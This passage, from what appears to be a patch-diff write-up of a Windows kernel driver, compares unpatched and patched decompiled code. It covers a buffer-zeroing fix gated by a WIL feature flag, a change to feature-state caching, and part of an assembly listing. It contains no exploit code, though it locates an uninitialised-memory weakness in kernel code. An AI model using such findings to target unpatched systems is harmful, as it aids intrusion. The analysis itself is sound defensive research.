&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;smtA&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_NO_MEMORY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;memset&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// *** THE FIX: zero the whole buffer ***&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;                          &lt;/span&gt;&lt;span class="c1"&gt;// feature OFF path — identical to unpatched&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ExAllocatePoolWithTag&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;PagedPool&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;size&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="n"&gt;smtA&lt;/span&gt;&lt;span class="err"&gt;&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;!&lt;/span&gt;&lt;span class="n"&gt;buf&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="k"&gt;return&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;STATUS_NO_MEMORY&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// no zeroing — original behavior retained&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// ... same partial initialization as before ...&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;p&gt;The zeroing is delivered only when the WIL feature flag &lt;code&gt;Feature_965997883&lt;/code&gt; is enabled; the feature-off branch retains the original allocate-without-zero behavior. This is a staged rollout.&lt;/p&gt;
&lt;h3&gt;Finding 2: WIL feature-state cache — global descriptor to per-descriptor context&lt;/h3&gt;
&lt;p&gt;Both builds perform a correct lock-free atomic compare-and-swap; the only change is where the descriptor comes from (a hard-coded global vs. a parameter).&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// UNPATCHED: single global feature descriptor&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;

&lt;span class="c1"&gt;// Thunk&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Feature_4060024122__private_IsEnabledFallback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1C0002E00&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_IsEnabledFallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;          &lt;/span&gt;&lt;span class="c1"&gt;// 2 args, inherits the global descriptor&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Orchestrator&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;wil_details_IsEnabledFallback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1C0002850&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_FeatureStateCache_ReevaluateCachedFeatureEnabledState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;wil_details_featureDescriptors_a&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// GLOBAL descriptor (hard-coded)&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;event_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;wil_details_featureDescriptors_a&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_FeatureReporting_ReportUsageToService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="cm"&gt;/* hardcoded feature id */&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// CAS on global&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// State modifier — correct lock-free CAS, not a race&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1C00028DC&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pState&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;wil_details_featureDescriptors_a&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="c1"&gt;// GLOBAL&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;do&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;pState&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;                       &lt;/span&gt;&lt;span class="c1"&gt;// re-read on each retry&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;while&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;lock_cmpxchg&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;old&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="c1"&gt;// atomic CAS-with-retry: thread-safe, no torn read, no lost update&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;
&lt;span class="c1"&gt;// PATCHED: per-descriptor context passed as a parameter&lt;/span&gt;
&lt;span class="c1"&gt;// ============================================================&lt;/span&gt;

&lt;span class="c1"&gt;// Thunk&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;Feature_4060024122__private_IsEnabledFallback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1C0002E74&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;Feature_4060024122__private_descriptor&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// this feature&amp;#39;s own descriptor&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_IsEnabledFallback&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// 3 args&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// Orchestrator&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;wil_details_IsEnabledFallback&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1C0001BB0&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_FeatureStateCache_ReevaluateCachedFeatureEnabledState&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_FeatureReporting_ReportUsageToService&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg2&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// CAS on *ctx&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="c1"&gt;// State modifier — same CAS, now on *ctx, plus a lock-or fast path&lt;/span&gt;
&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nf"&gt;wil_details_FeatureStateCache_TryEnableDeviceUsageFastPath&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="mh"&gt;0x1C0001C44&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;event_type&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ULONG&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;flags&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="kt"&gt;void&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;volatile&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;pState&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;DWORD&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)(&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="c1"&gt;// per-descriptor state&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1e&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ctx&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mh"&gt;0x1d&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="n"&gt;lock_or&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;pState&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;bit&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;&lt;span class="w"&gt;                  &lt;/span&gt;&lt;span class="c1"&gt;// fast path&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;span class="w"&gt;        &lt;/span&gt;&lt;span class="c1"&gt;// same lock_cmpxchg-with-retry loop, on *ctx&lt;/span&gt;
&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;

&lt;hr&gt;
&lt;h2&gt;4. Assembly Analysis&lt;/h2&gt;
&lt;h3&gt;Finding 1: &lt;code&gt;SmartlockerConstructOriginClaim (sub_1C001F138)&lt;/code&gt; — Full Unpatched Assembly&lt;/h3&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="c1"&gt;---- SmartlockerConstructOriginClaim @ 0x1C001F138 ---- (UNPATCHED)&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F138&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+arg_0&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbx&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F13D&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+arg_8&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rbp&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F142&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+arg_10&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rsi&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F147&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F148&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r14&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F14A&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;push&lt;/span&gt;&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="n"&gt;r15&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F14C&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;sub&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rsp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="n"&gt;h&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F150&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="n"&gt;rsp+38h+arg_20&lt;/span&gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;rdi&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg5&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F155&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;r15d&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;r9d&lt;/span&gt;&lt;span class="w"&gt;               &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg4&lt;/span&gt;
&lt;span class="mi"&gt;00000001&lt;/span&gt;&lt;span class="n"&gt;C001F158&lt;/span&gt;&lt;span class="w"&gt;  &lt;/span&gt;&lt;span class="n"&gt;mov&lt;/span&gt;&lt;span class="w"&gt;     &lt;/span&gt;&lt;span class="n"&gt;ebp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;ecx&lt;/span&gt;&lt;span class="w"&gt;                &lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;arg1&lt;/span&gt;
